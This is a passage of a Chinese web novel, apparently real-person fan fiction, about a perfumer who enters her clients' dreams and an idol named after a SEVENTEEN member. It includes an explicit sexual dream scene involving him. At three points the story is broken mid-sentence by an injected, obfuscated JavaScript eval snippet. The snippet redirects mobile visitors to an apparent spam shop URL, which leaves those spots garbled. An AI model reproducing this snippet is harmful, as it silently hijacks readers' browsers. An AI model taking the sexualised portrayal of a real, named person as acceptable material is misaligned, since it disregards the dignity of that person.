《春潮如水[娱乐圈]》 3. 答谢礼物 文诗雅的这个秘密从来没有对任何人说过,因为她知道这件事太神奇,也太过难以想象。如果轻易告诉别人,估计别人也只认为她得了臆想症把她拉进精神病院治疗。 可文世雅知道,她没有精神病,她确定那个秘密是真实的。 这个秘密并不是她一出生就存在的,可以说人生的前二十几年,她都如同普通人般生活。直到正式接触了香水调制这个行业以后,并且开始为客户定制香水,她才发现自己莫名其妙多了一个能力。 每当客户第一次使用她为他们定制的香水,使用香水的当天晚上,她就会梦到客户所梦到的梦境。 在那些梦境里,她并不是以客户本人的身份所经历梦境,而是以旁观者的身份观察着客户所梦到的一切,就如同上帝视角般看着他人在梦里的一举一动。 当然,以旁观者身份,并不代表文世雅不会被客户的情绪所影响。相反,她极其容易被客户在梦境里所经历的事情而影响情绪。 比如当客户梦到噩梦,作为不敢看恐怖片的她也时常会被那些噩梦惊吓到。比如当客户梦到悲伤的事情时,如果触碰到她那个敏感的点,也会感同身受地为此流泪。再比如是好梦时,她也会随着喜悦的事情而哈哈大笑。 在梦里,她经历着芸芸众生所经历的事,那些经历与她的生活大不相同,竟然也让她产生了或许这样也能增加她的阅历,让她调制出更复杂更饱含情绪的香水的想法。 但很快她就发现事情没那么简单,如果客户做了好梦,第二天她自然不会感到太过疲惫,可若客户做了噩梦,她第二天绝对会身心疲惫,这极大地影响了她的精气神,让她很多时候失去了做更多事情的精力。 因为她是低精力的人,并不能持续做太多事,这会让她身体疲惫继而影响到精神。 文世雅尝试过很多方法试图摆脱这能力,去教堂祈求上帝,去佛堂诉苦,甚至还去找了巫师,结果一无所获。 她只好不情不愿地接受了这个事实,并且调整自己的生活节奏尽量和这个能力共存。 其实一开始文世雅并不知道有了这个能力,她以为自己只是在为客户定制香水时,因为太过时时刻刻思考客户所喜欢的香味而导致自己莫名其妙梦到了客户,就像是日有所思夜有所梦。 让她发现这一切不寻常的起源,是当她在某一次和某个老客户聊天时,突然得知了这位客户的父亲因车祸去世,而她梦到这位客户的那个梦境正好也是客户在为父亲车祸去世而痛哭流涕,她还记得自己那时候也感同身受地落泪了。 为了验证自己的想法,她开始注意起了每个客户的梦,并在客户复购香水时想办法套他们的话。 毫无例外,她做的那些梦切切实实就是客户的梦境,自此她再也不主动向客人打听梦境里发生的事。 做的梦多了,她也渐渐和这个能力和解了,并且将这个秘密深深地埋藏在心里不告诉任何人。 那些梦她记在心里,有时会让她更理解客人的需求,有时只是让她知道一些别人的秘密。她不打听,不追问,不暗示自己知道什么。 这是她一个人的秘密。 * 因为有了配方,所以文世雅给尹净涵调配一百毫升的香水耗费不了多少时间,她干脆算着时间在约定时间前一天帮他调配香水。 到了约定日期,看到尹净涵的那一瞬间,文世雅有些惊讶。 之前是别人替他代拿的,所以她理所应当地认为这次应该也是找人来代拿,却没想到竟然是他亲自来取香水。 尹净涵进门的时候,直接把鸭舌帽摘了下来,头发随意地垂在额前,看起来比前两次要更男大学生一些,同时手里拎着一个纸袋。 “下午好。”文世雅说。 “下午好。”尹净涵回答,“这是为了感谢你给我定制香水的小礼物。” 说着,他直接把那个纸袋放在了她的面前。 其实给工作人员送小礼物是他们大部分爱豆的习惯,除了表达感谢,更多的是为了获取工作人员的好感,给自己谋口碑。 一开始尹净涵也是这个目的,但事情做多了,也就成了习惯。哪怕现在SEVENTEEN已经成为了炙手可热的爱豆组合,不再需要通过送小礼物来获取工作人员的好感和帮助,他们也在坚持做这件事。 文世雅有些受宠若惊。她开香水工作室这么久,暂时还没有客户会主动送她礼物,大多数时候都只是保持着客户和店主的关系,不会多做其他什么举动。 她其实挺满意这种状态的,不远不近的距离,既不会因为太远而导致客户不再光顾工作室,又不会因为太近而让客户过度介入她的生活。 “这不行,你本来就是我的客户,怎么能收你的礼物呢。”文世雅边摆手边把礼物推远回给尹净涵。 尹净涵轻笑:“只是小礼物,不值什么钱。”说完他也不管文世雅还要说什么,直接把礼物再次推到她面前。 一件事推拒一两次就够了,再多了只怕会惹人烦。 文世雅只好一边道谢一边收下了那个礼物,然后她把已经放进礼袋里的香水递给他。 尹净涵当场打开香水往空气中喷了一下,然后鼻头耸动轻轻闻了闻,确定味道跟之前的小样一样才收回。 对于尹净涵当场试验香水味道是否正确的举动,文世雅倒没有什么被冒犯的感觉,只觉得眼前这个一开始气质冷淡但实际接触了以后发现其实挺好相处的爱豆做事非常严谨。 以前也不是没发生过香水被客户带回去结果过了几天就带着香水回来要索赔的事情,那时候真是她最心力交瘁的时候,不仅要一边解决这场闹剧,一边还要抽出精力去迎接新客户。 自那以后,她就给原本只有一个监控的工作室在各处都安装了监控,以防再次出现这种情况。 而现在尹净涵的举动,实际上带给了她极大的安全感,这代表着他现场检查过香水并且确定没有问题了,后续会发生索赔闹剧的概率极小极小。 不过…… 文世雅有些不好意思地想,以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17368637|199850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尹净涵爱豆的身份,估计也做不出事后反悔来工作室大闹特闹的行为吧。 或许是她抿唇忍笑的表情太过明显,原本在拿银行卡打算付尾款的尹净涵看向了她,目光略带疑惑,“怎么了?” “没什么。”文世雅赶紧打起精神,抛开刚才那个略带打趣的想法,朝他询问,“您是打算付尾款吗?” 尹净涵点点头并且把银行卡递给了她。 文世雅接过卡,在POS机刷过后又还给了他。 可能是一个递的动作太大,一个拿的动作也太大,文世雅明显感觉到了尹净涵拿卡的指尖不小心戳到了她的食指指节。 “不好意思,指甲没有划到你吧?”尹净涵明显也感觉到了自己的指甲可能划到了对方,连忙道歉。 在文世雅低头看手指的时候,尹净涵不由自主地靠近了几步,头往她所在方向探了探,似乎也想看看对方是否受伤。 好在尹净涵的指甲剪得干净整齐,并没有划伤文世雅。 “您不用担心,并没有受伤。”实际上是有些划破表层一点点的皮,也没有出血。文世雅这么说不仅是为了不让尹净涵内疚,更多是确实觉得这并不算什么受伤。 因为文世雅把手放下的速度很快,所以尹净涵也没有看清她手指的情况。见她这么说,心里稍微放松了一些,但还是向她表示了如果真的不小心划伤了她一定要说。 文世雅表示自己会的。 直到尹净涵离开工作室,文世雅才摸了摸刚才被戳到的地方,因为没有伤到肉,所以不疼,只有一种平整皮肤突然有一块地方不平整了的突兀感。 她轻轻叹气,明明只是一件不小心造成的小事,尹净涵的反应却比寻常人要大,好似歉意和关心程度不大的话,会形成严重的后果。 可能真的是他爱豆的身份给了他套上了沉重的枷锁,让他不得不在绝大多数人面前都要做一个各方面都不犯错的人吧。 这种爱豆要完美、不能犯错的观念,让文世雅觉得尹净涵身上那股私下里才会显现出来的冷淡和疏离更加明显了。 另一边正开车回家的尹净涵却想着,今天文世雅身上的香水味是哪一款? 他靠近文世雅的那一瞬间,就闻到了一种更加明显的、令人感到舒适的香味,当时他下意识地多闻了几下,更加确定这种香味是来自于文世雅了。 对于一般的香水,他只会觉得香,只有少部分会让他觉得好闻,而像这种让他觉得好闻又舒适的香水,只有这一次。 有一瞬间他差点要脱口而出询问她这款香水是哪个牌子亦或者是否她自己调配的,但觉得这种问题可能有些冒犯,就只好强忍了下来。 尹净涵心想,下次吧,下次如果还能闻到这种香味,他再更加礼貌客气地询问文世雅xi吧。 不过也不知道为什么,明明他还在想香水的事,脑海里却突然浮现了靠近文世雅时,他不小心瞥见的她垂眸时那卷翘的黑色睫毛和眉眼。 如她本人气质一般,温柔、生动且不刺眼。 4. 遗忘角落 尹净涵走后,文世雅等了两天。 按照以往的经验,客户拿走香水,基本当天就会使用,再不济就是第二天使用,从来没出现过去了好几天都还没使用的情况。 但这一次,好几天了,却什么也没有发生。 第一天晚上平安无事。 第二天晚上也平安无事。 第三天早上,文世雅醒来的时候,盯着天花板看了五分钟,确认自己昨晚没有做过任何关于尹净涵的梦。 事实上,她连做梦都没有,一觉睡到天亮。 这不对劲。 难道是尹净涵临时反悔不喜欢这款香水了吗? 文世雅坐在床上,努力回忆那天的情况,她记得尹净涵在试闻了喷洒在空气中的香水后,露出了满意的表情,完全不像是不喜欢这款香水的模样。 况且她对自己的香水调制能力还是很有信心的。 文世雅开始怀疑是不是自己的能力出了问题。 这些年来,无数瓶定制香水,她的能力没有一次失灵的。每次客户第一次使用香水的当晚,她一定会梦到点什么。有时候清晰无比,有时候略微模糊,但从没缺席过。 难道这个能力消失了? 文世雅站在镜子前刷牙的时候,盯着自己的脸看了一会儿。没有什么变化,五官还是那个五官,黑眼圈还是那个黑眼圈,她也还是她。 她又低头闻了闻自己的手腕,没有任何残留的香水味,只有沐浴露的味道。 也许真的消失了吧?也许呢? 文世雅吐掉嘴里的泡沫,心想,这也没什么不好。那些梦境虽然带给过她新奇的体验,但带给她的困扰也不少。 只不过心里还是有一点空落落的,不是不舍得这个能力,只是有点奇怪,它怎么突然就悄无声息地消失了呢? * 在文世雅纠结疑惑的同时,尹净涵正在化妆间里补觉。 过去几天,他和成员们跑了很多通告,参加了很多活动,忙得跟个陀螺似的。 他并不知道文世雅的胡思乱想,他只知道自己快被忙晕了,所以得抓紧时间该休息休息。 化妆间的椅子有点硬,但尹净涵还是伴着成员们的说话声睡着了。 化妆师给他打底妆的时候,他的头一点点地往下栽,差点从椅子滑下去。 然后在即将掉落的瞬间,他被惊醒过来,通过镜子看了一眼化妆师,很快就反应过来重新坐好。 或许是见多了这种情况,目睹这一切的化妆师面不改色地继续手中的动作。 过了没一会儿,尹净涵就觉得眼皮又开始沉重了起来。 “尹净涵xi,您昨晚没睡吗?”化妆师小声问。 “睡了。”尹净涵双手抱胸,含糊地回答,“在车上睡的。” 化妆师没再说话,手上化妆的力度却没有因为他困倦而减轻多少,主要是因为力度和手法不到位的话,容易脱妆,补妆的次数也会增加。 她给无数艺人化过妆,知道这种时候说什么或是轻手轻脚都没用,赶紧化完妆让人去休息才是正经。 过了一会儿,尹净涵化好妆,把位置让给还没化妆的队友,自己则重新回到软乎乎的沙发上靠躺着。 两个小时后,尹净涵跟着成员们坐进一辆商务车,赶往下一个通告场地。 他在后座靠着窗户,看着窗外的风景一帧一帧地后退,为等会儿参加的通告调整状态,尽量让自己精力高涨起来。 等跑完这个通告已经是晚上了,尹净涵回到宿舍的时候,刚好是凌晨一点。 他和成员们住的地方是公司安排的公寓,虽然他自己有房子住,但在跑通告的时候,为了方便公司接送,他还是会回宿舍短暂住一段时间的。 尹净涵穿过客厅,走进自己的房间,把外套扔在一旁的沙发椅上,然后拿着睡衣去浴室洗澡。 洗完澡,尹净涵才觉得一身的疲惫被温水洗涤干净了,长长地呼了一口浊气。 回房间的时候,尹净涵余光一瞥,正好瞧见了床头柜上那静静摆放了好几天的香水。 他突然反应过来,自从那天从文世雅那儿拿回来放在床头柜上,自己就因为太忙而暂时忘记了它的存在。 尹净涵拿起香水瓶,透明的玻璃瓶,简洁没有装饰,瓶身只贴着一个代表文世雅工作室的标签,淡蓝色的香水液体在玻璃的衬托下显得波光粼粼的 因为是休息时间,尹净涵在此刻需要的是清新而不是香味,所以他打开盖子后没有按泵头让香水喷洒出来,而是鼻尖凑近喷头,嗅了一下喷头残留的香水液体。 因为残留的不多,所以香味是淡淡的,但依旧很好闻。 明天一定要用。 尹净涵在心里暗暗地想着。 第二天早上,尹净涵睁开眼睛,即使已经休息了一夜,整个人还是觉得有些疲惫,略艰难地从床上爬起来到浴室洗漱。 洗漱完并且换好衣服的尹净涵去拿背包的同时,正好经过床头柜,看到那个定制的香水,他停顿了下来,拿起香水在手腕和脖子上各喷了一下。 由自己的喜好定制而成的香水瞬间充斥在尹净涵的鼻腔间,让他觉得自己像个恢复精力的正常人了。 等走出房间,队友夫圣宽已经在客厅等着了。夫圣宽比他小三岁,是组合的忙内line,性格敏感细腻,是非常体贴的弟弟。 “哥,你今天喷的什么香水?”夫圣宽凑过来闻了闻,“挺好闻的。” “定制的。”尹净涵一边穿鞋一边回答。 “哪家定的?我也想去试试。” 尹净涵的动作停了一下,他想起了文世雅的店,那家小小的五脏俱全的工作室。 不知为何,他竟然有一种自己探索到的宝物即将被其他人发现的遗憾感。但对方是自己疼爱的弟弟,所以他迅速压下那股莫名其妙的遗憾。 “是我在IG找到的一家工作室。”他说,“你确定要定制的话,下次我带你去。” “行啊。不过定制香水应该挺麻烦的,等我以后有空了再来麻烦哥你带我去吧。”夫圣宽没在这事上多想什么,拿起背包先出了门。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17368638|199850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >尹净涵跟在后面,关门的时候,鬼使神差地又低头闻了一下自己的手腕,很香。 下午两点,签售会。 场地在一家知名商场里,中庭搭了一个小舞台,后面挂着SEVENTEEN组合的海报。 尹净涵到达的时候,现场已经挤满了粉丝,她们手里拿着专辑、应援物等东西,叽叽喳喳地聊天。 此刻他们还在后台没上场,经纪人在旁边低声叮嘱着注意事项:“笑容多一点,别板着脸。今天的粉丝等了很久,态度要一点。” 众成员点点头,然后按着往常的顺序走上签售台。 一见SEVENTEEN的成员们陆陆续续从临时搭建的后台走上来,人群爆发出一阵尖叫声。 尹净涵站定在自己的位置上,朝粉丝们挥了挥手。 尖叫声瞬间大了几倍。 尹净涵坐下来,面前摆着签字笔、小镜子、矿泉水等物品。 第一个粉丝走上,是个二十出头的女孩,带着一副圆框眼睛,手在发抖。 “欧巴,我超喜欢你的!”她把专辑递过来,声音都是颤的。 尹净涵一看就知道这位粉丝大概是第一次来签售会。 面对这种情况,他微笑着说了句谢谢,随即用轻松的语气询问她一些无关紧要的小问题,缓解她紧张的情绪。 有了尹净涵的打岔,女孩果然没有那么紧张了。 因为两个人面对面离得很近,女孩在冷静下来的那一瞬间就闻到了他身上那好闻的淡淡的香味。 “欧巴,你今天用的什么香水?好好闻!” 尹净涵愣了一下,他没想到这么快就有粉丝注意到了他身上的香水味。 于是一边给她签字一边回答:“定制的。” “很适合你,希望欧巴以后可以在平台多多分享哪些香水好闻。”女孩的眼睛亮亮的,满脸都是兴奋。 “好的,以后有机会我会分享的。”尹净涵笑着答应了。 女孩心满意足地走了,紧接着跟上来另外一位粉丝。 签售会持续了两个多小时,尹净涵签了大概上百张专辑,手酸得几乎握不住笔,但他的状态比上次签售好很多。 唯一让他有点不自在的是,整场签售下来,居然有十几位粉丝向他询问了他喷的香水品牌是什么。 他是真的没想到这个香味会引起这么多人的注意,不过他并不觉得麻烦,既然这么多人都问了,那就说明定制的这款香水确实很配他,他花费的钱都值得了。 签售会结束后,尹净涵回到商务车,摊在座位上闭眼休息。 “哥。”夫圣宽突然凑了过来,低声叫他。 “嗯?”尹净涵沉声回应,掀起眼皮斜睨他,仿佛是在看这位弟弟到底是因为什么事打扰他休息。 夫圣宽看出了他眼神里的威胁,连连讪笑:“没什么没什么,哥你休息吧。”说着他连忙坐正,也赶紧闭上眼睛表示自己要休息。 心里却想着,算了,香水的事以后再说吧。 尹净涵见此,再次合上眼休息。 5.第一场春 文世雅躺在床上,闭着眼睛,等着睡意慢慢涌上来。 这几天她已经习惯了,闭上眼睛,什么也不想,然后一觉睡到天亮,没有梦,没有画面,没有任何东西。 今天应该也会一样。 文世雅的呼吸慢慢变得均匀,身体愈发放松,四肢沉进床垫里,眼皮越来越重。 不知道过了多久,可能是几分钟,也可能是几个小时,她开始感觉到了什么。 意识回来的那一瞬间,她最先感觉到温度,冰火两重天的温度。 她能感觉到后背贴着的地方,凉凉的,有点硬,像是玻璃的表面。而在胸前,是贴在她身上的,另一个人的体温。 很热,热得有点烫,像发烧的人。 文世雅的意识在挣扎,她想弄清楚自己在哪里,但那个温度不给她思考的时间。 有一只手在她的腰上。 那只手很大,手指很长,指腹有一层薄薄的茧,轻揉在她腰侧的皮肤上,粗糙的触感让她整个身体都缩了一下。 那只手在移动,慢慢的、一寸寸地往上。 文世雅想动,但她动不了。不是被压住了动不了,而是这具身体自己在动。 她的手抬起来,搂住了什么人的脖子,然后手指插进那个人的头发里,发丝有点长,柔顺地附在她的指缝间。 随即而来的是呼吸,一下一下地落在她的皮肤上,很热,也很急促。那呼吸带着湿润,激起她一层细小的颤栗。 文世雅的意识在摇晃,她能感觉到这具身体的一切。 热,很热,从下往上涌,沿着神经一路向上,烧得她脑子里一片空白。 她试图分辨这是谁的梦,至少她能确认不是自己的,因为以往她从来没梦过这种类型的梦,但她在其他人的梦境里梦到过。 那如果不是自己的梦,反而更可怕了。因为以前在别人的梦里,她总是旁观者,站在角落里看着整个梦境的发生,像一个观众。 但这次她在里面,在这具身体里,感受着每一次温度和呼吸。 文世雅不确定自己附在了谁身上。 是女人,这是肯定的。 她能感觉到自己的身体贴在另一个人的身上,但她不知道这个人是谁,长什么样,叫什么名字。 她也没有时间去想。 因为那个人的亲吻每一下都落在了不同的地方,很慢也很仔细,仿佛在品尝着什么需要认真对待的东西。 文世雅觉得自己在发抖,不是冷导致的发抖,而是从内部涌出来的,控制不住的颤抖。 她的手落在了那个人的肩膀上,收紧攥压,指甲陷入了皮肤。 那个人发出很短促的轻呼,是从喉咙深处漏出来的,带着一点被弄疼的嘶声,但又不完全是疼。 那个声音落在文世雅的耳朵里,震得她耳膜嗡嗡响。 她认识这个声音。 很熟悉,至少她在近一段时间内听到过很多次。那个声音说过“你好”,说过“只是小礼物”,说过“不好意思”。 尹净涵。 这个认知像一盆冷水浇下来,文世雅的意识猛然清醒了一瞬。 这是尹净涵的梦。 她在尹净涵的梦里,附在了某个人身上,而这个人正在被尹净涵亲吻。 但清醒只有一瞬,因为亲吻又回来了。 这一次吻在了她的嘴角,轻轻地磨蹭,停留了好一会儿。然后慢慢地移到她的下唇,含住了,轻轻地咬了一下。 不疼,只是有一点被掌控的压迫感。 这具身体回应了,她的嘴唇张开,接纳了那个人,不是被动的接纳,而是主动的,带着同样多的渴望和急切。 她的舌头碰到了尹净涵的舌头,无需主动,他的舌尖直接勾上了她。 文世雅的意识摇晃得更厉害了,她能感觉到两个人在接吻,舌头在交缠,嘴唇分开又贴合,呼吸也混在一起,分不清是谁的。 那些感觉太真实了。 那只手又动了。 文世雅的呼吸突然变得急促了起来,胸腔起伏的幅度变大。她的胸口贴着尹净涵的胸膛,自然也能感觉到对方的心脏跳得很快,用力到像是要撞破肋骨跳出来。 两个人的心跳混在一起,分不清哪个是谁的。 潮湿在空气中变凉,文世雅再次收紧手指,指甲划过尹净涵的后背,留下一道道红痕。 文世雅的意识开始模糊,整个人时而轻,时而重,节奏不规律,就像海浪,一波一波的,没有尽头。 与此同时,她闻到了尹净涵身上的味道,有她调的那款香水,以及他本身干净清透的味道,带着一点点汗意。 尹净涵埋头在她脖颈间说了一句什么,声音很低,含含糊糊的,如同嘴唇贴着皮肤说出来的,字句被皮肤吸收了,传到她耳朵里的时候只剩下了气音和震动。 文世雅没听清说的是什么,但这具身体听到了,因为她整个人像一张弓一样绷紧了起来,从上到下都在发抖。 然后尹净涵抬起了头。 文世雅看到了他那张曾让她短暂失神的脸。 的确是尹净涵。 但不是她平时见到的那个尹净涵。 没有帽子,没有外套,没有那种刻意的距离感。 他的眼睛是闭着的,睫毛很长,投下一片阴影。嘴唇也是红的,还有点肿,可能是因为刚才的亲吻。他的头发被她的手抓乱了,炸着毛,有几缕垂在额前,挡住了眉毛。 他的脸上有一种她从未见过的表情,不是舞台上那种标准化的微笑,也不是和她第一次见面时那种礼貌的平淡,是一种更原始的、更野性的欲望。 文世雅的心脏猛地缩了一下,凝固的意识终于动了起来。 尹净涵是在做春.梦吗?那他梦到的这个女人是谁?她又为什么会附在这个女人的身上?更重要的是,她的旁观者角度怎么突然会变成梦境里人物的视角呢? 这太可怕了。 文世雅开始担忧了起来,她怕自己以后梦到客户的梦境,都会以这种附在梦境人物身上的形式来梦。 可等不及文世雅继续担心,尹净涵又动了。 她被他翻了个身。动作很轻,但很坚定。 尹净涵的一只手垫在她的腰下面,把她托起来,然后翻转。她变成了趴着的姿势,脸埋在自己的手臂里,后背裸露在空气中,一股凉意扑背而来。 尹净涵的嘴唇四处游走。 文世雅攥紧了拳头,指甲陷入掌心,但很快疼痛就被快.感淹没了。 尹净涵背后拥着她,轻咬她耳垂低笑:“好香。” 好香?什么好香? 文世雅来不及多想。 海浪拍打礁石,一次又一次,不紧不慢,但每一波都比上一波更深更用力。 文世雅的意识彻底碎了。 她不再试图分辨自己是谁,不再试图弄清楚这是什么地方,只是沉沦着感受着这一切。 她是一艘船,在海上漂着,随着海浪起伏。浪来的时候她被推上去,浪去的时候她又落下来。上上下下,起起伏伏,没有尽头。天和海连在一起,分不清哪里是天空哪里是水面,她在这片海里漂浮,失去了方向。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17369981|199850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 背后的尹净涵手臂突然收紧,把她抱得更紧了,一切都变快了,暴风雨即将来临。 文世雅的手掌紧紧地贴在面前平台上,表面很平整,冰凉的、平整的。 这个触感直接劈开了她浑浑噩噩的意识。 她努力睁开眼睛,想要看清楚面前的情况。眼皮如灌了铅般沉重,她费了很大的力气才睁开一条缝。 视线有些模糊,汗水流进了眼睛,蛰得她有点疼。 文世雅眨了几下眼睛,让视线慢慢聚焦。 玻璃展柜。 不是普通的玻璃展柜,是她开的调香工作室的玻璃展柜。 在玻璃展柜里,包裹的正是她精心摆放的许多香水瓶,有各大品牌的,也有她自己调制的。 她的调香工作室。 她在自己的调香工作室里。 这个认知直接打得文世雅头晕眼花,她想思考这是怎么回事,但身后那个男人不给她思考的时间。 尹净涵再次把她翻了过来,让她面朝上。 灯光不刺眼,但还是让她眯起了眼睛,余光中她看到尹净涵俯身下来,手臂撑在她的两侧,把她笼罩在阴影里。 汗水顺着他的额头往下滑动在鼻尖上,随着他的动作又滑落在她的眼皮上,刺痛感让她下意识合眼。 “看着我。”他说。声音低哑,语气也是命令句,但没有命令的强硬,反而带着一种诱惑的意味。 文世雅重新睁开眼,视线渐渐落在他的脸上。 这次的尹净涵没有如同刚开始那样闭着眼,他深深地看着她,目光仿佛穿过了梦境,直直落在她的意识上。 文世雅的心脏突然狂跳了起来。 尹净涵低下头,额头抵着她的额头。 两个人的呼吸混在一起。 他的鼻尖蹭着她的鼻尖,嘴唇几乎贴着嘴唇,但就是不亲。 “看着我。”他又说了一遍,声音更低了,几乎是气音。 看着他?她已经在看着他了啊。 文世雅有点委屈,眼泪就这么落了下来,流进头发里,和汗水混在一起。 尹净涵吻掉了那滴眼泪。 嘴角落在她的眼角,轻轻的。舌尖尝到了咸味,和他汗水一样的咸味。 他忍不住愉悦地沉声笑了起来。 “别哭。”尹净涵说。 文世雅不知道自己在哭,她只是看着他,看着那双近在咫尺的眼睛。那双眼睛很黑很深,仿佛要把她整个人都吸进去。 尹净涵呼吸变得更沉了,每一下都在用力。 她能感受到他在颤抖,和她一样,控制不住的颤抖。 爆发的那一刻,世界天旋地转。 缓了好久,两个人才在玻璃展柜上,相拥着慢慢地平静下来,心跳从急促变得平缓。 尹净涵没有动,他趴在她身上,脸埋在她的脖子里,手臂还环着她的腰。 文世雅也没有动,她后背贴着冰凉的玻璃面,失去了思考能力,只能静静地看着天花板。 工作室依旧弥漫着她调制的那些香水混合香味,但现在还夹杂着其他的气味,使得整个工作室变得更加暧昧深沉。 “文世雅。”尹净涵缓缓抬起头,看着她。 文世雅的心脏停跳了。 在尹净涵说出她名字的时候,她的意识就从这具身体里被弹了出来。 画面开始瓦解,一切都在变淡。 尹净涵的脸也在变淡,但他的眼睛还在看着她,通透地仿佛能穿过那层分开现实和虚幻的透明墙。 然后一切都消失了。 6.真真假假 尹净涵是被阳光晃醒的。 昨晚睡得太沉了,让他有些懒洋洋的。他翻了个身,把脸埋进枕头里,不想睁眼。 过了一会儿,他拿过手机看了一下时间。 上午十点。 今天上午没有通告,只有晚上有,所以经纪人没打电话过来。 他难得地睡了个懒觉,但醒来之后并没有那种休息够了的神清气爽,反而跟跑了一场马拉松似的,身体里有什么东西被抽走了。 就在他站在浴室镜子前刷牙的时候,脑海里突然一闪而过一些画面。 不是完整的画面,是一块块的碎片。 他看到了调香工作室,在一片暖黄色的氛围里,他的手贴在一段腰上,皮肤很白,腰很细,他的手放在上面,显得很大。 还有嘴唇。他吻了谁? 尹净涵瞪大眼睛,惊得差点把牙膏泡沫吞下去。 是文世雅。 梦里的人是文世雅。 那些碎片开始拼在一起,越来越清晰。 她的后脑勺抵着玻璃展柜,头发凌乱地散开了,还带着些潮湿。她的嘴唇是红的,微微张着,呼吸很重。她的手搂着他的脖子,手指插在他的头发里。 仅仅是脑海里浮现了这些画面,他几乎是一瞬间就起了反应,跟男性早晨的自然反应不同,现在的他完全是被那些说不清的欲望给刺激的。 尹净涵吐掉牙膏泡沫,来不及漱口,微微弯着腰,抵着头,深呼吸了几次。 荒唐。他在心里说。太荒唐了。 他是去定制香水的,她是工作室的老板,是调香师。两个人见面不超过五次,说的话也只有在咨询的时候才会说多。他对她的了解仅限于,她叫文世雅,开了一家调香工作室,说话声音不大,做事很认真,笑起来的时候圆嘟嘟的。 就这些。 然后他梦到了和她做那种事。 尹净涵站起来,用冷水漱干净嘴里的牙膏残渍,但立马脑海里就又浮现了他和她唇舌纠缠的画面,好不容易缓过来的反应又激烈了起来。 他干脆一巴掌拍在了额头上,把那些画面全都拍散了,拿开时额头直接红了一大片。 回到房间的尹净涵看着床头柜的那瓶香水。 他昨天喷了这个,然后晚上就做了那个梦。 有关系吗?应该没有。 一瓶香水而已,又不是催情剂,怎么可能会影响一个人做那种梦。 他只是太累了,连续跑了那么多通告,身体和精神都绷得太紧了,所以才会做那种梦。至于梦到了文世雅,可能也是因为最近去了她的店里,和她有过氛围较好的交谈,脑子里存了她的样子,晚上就自然而然梦到她了。 很正常。人都会做这种梦,他只是恰好梦到了一个认识的人而已。 尹净涵把香水放回床头柜上,转身去找衣服穿。 穿衣服的时候,他又想到了梦里的一个画面感。她的头仰起来,脖子拉出一条弧线,他的嘴唇贴在上面,能感觉到她的脉搏在跳,一下一下的,很快。 他停下拉拉链的动作,站在原地闭了一下眼睛。 别想了。他再次对自己说。一个梦而已。 但那种隐秘的兴奋感还是从身体的某个角落里冒了出来。 他觉得这种兴奋感不应该存在,因为梦到一个人,还是那种梦,醒来之后应该感到尴尬或者愧疚,而不是这种说不清道不明的、让他耳根发烫的东西。 然而那些画面跟放电影似的,一直在他脑海里循环播放。 尹净涵直接把拉链拉到底,因为速度太快,他没控制好力度,一下就把下巴的肉夹到了。 “嘶——”疼痛感让他忍不住低呼出声,而脑海里那些画面也随着疼痛被甩开得一干二净。 尹净涵无奈叹气,揉了揉下巴,收拾了一下东西就走出房间去厨房给自己煮午饭吃。 恰好和他同层的几位弟弟也在厨房煮东西吃,他干脆挽起袖子走过去给他们帮忙。 * 文世雅醒过来的时候,手机闹钟已经响了很久。 她伸手去摸床头柜,手指还没碰到手机的时候,手臂就因为酸胀感而差点抬不起来。不是普通的睡醒之后的僵硬,而是那种被用过力的酸软,从肩膀一直蔓延到指尖。 她按掉闹钟,躺在床上盯着天花板。她的脑子一片空白,什么都想不起来。 然后梦里的画面涌上来了。 温热的触感,急促的呼吸,落在脖颈和锁骨上的亲吻。还有那个声音,低哑的,带着颤抖的,“看着我”。 文世雅猛然坐起来,动作太快,腰上传来一阵酸软,她差点又倒回去。 她双手撑着床,深呼吸了好几次,试图让自己冷静下来。 只是一个梦,很正常。她告诉自己。 但她知道这不正常。她做了好几年他人做的梦境,每一场她都是旁观者,从来没有像这次一样,她是参与者。 她的手搂着那个人的脖子,腿缠着那个人的腰,嘴唇贴着那个人的嘴唇。 尹净涵。 梦里的那个人是尹净涵。 文世雅闭上眼,想把这个念头压下去,但那些画面反而更加清晰了。 她掀开被子下了床,脚踩在地上的时候腿软了一下。她扶着床头,低头看自己的手,手指居然还在微微发抖。 这种感觉太陌生了。 以前做完梦,她醒来之后大多数时候只是脑子里多了一些画面,身体不会有任何反应,只有少部分时候因为梦境情绪太过激烈,才会有那种睡不好的疲惫感。 而不是像现在这样,身体仿佛真的经历了什么,每一个毛孔都还记得那些颤栗。 文世雅坐到化妆柜台前,看到了镜子里的自己。她的脸色有点白,嘴唇却比平时红艳,像是被什么东西蹭过。她凑近看了看,什么都没有,只是比平时充血了一点。 “只是梦。”她对着镜子说,声音有点哑。 